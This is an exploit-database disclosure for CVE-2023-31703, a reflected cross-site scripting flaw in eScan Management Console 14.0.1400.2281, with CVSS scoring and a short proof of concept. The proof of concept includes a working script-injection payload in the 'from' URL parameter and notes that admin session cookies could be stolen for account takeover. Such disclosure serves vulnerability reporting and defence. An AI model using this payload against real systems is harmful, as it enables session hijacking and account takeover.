eScan Management Console 14.0.1400.2281 - Cross Site Scripting

2023-05-2300:00:00

Sahil Ojha

www.exploit-db.com

escan management console

cross site scripting

cve-2023-31703

security vulnerability

admin account takeover

web security

9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

56.4%

JSON

# Exploit Title: eScan Management Console 14.0.1400.2281 - Cross Site Scripting
# Date: 2023-05-16
# Exploit Author: Sahil Ojha
# Vendor Homepage: https://www.escanav.com
# Software Link: https://cl.escanav.com/ewconsole.dll
# Version: 14.0.1400.2281
# Tested on: Windows
# CVE : CVE-2023-31703

*Step of Reproduction/ Proof of Concept(POC)*

1. Login into the eScan Management Console with a valid user credential.
2. Navigate to URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from=banner&P=
3. Now, Inject the Cross Site Scripting Payload in "from" parameter as
shown below and a valid XSS pop up appeared.
https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from="><script>alert(document.cookie)</script>banner&P=
4. By exploiting this vulnerability, any arbitrary attacker could have
stolen an admin user session cookie to perform account takeover.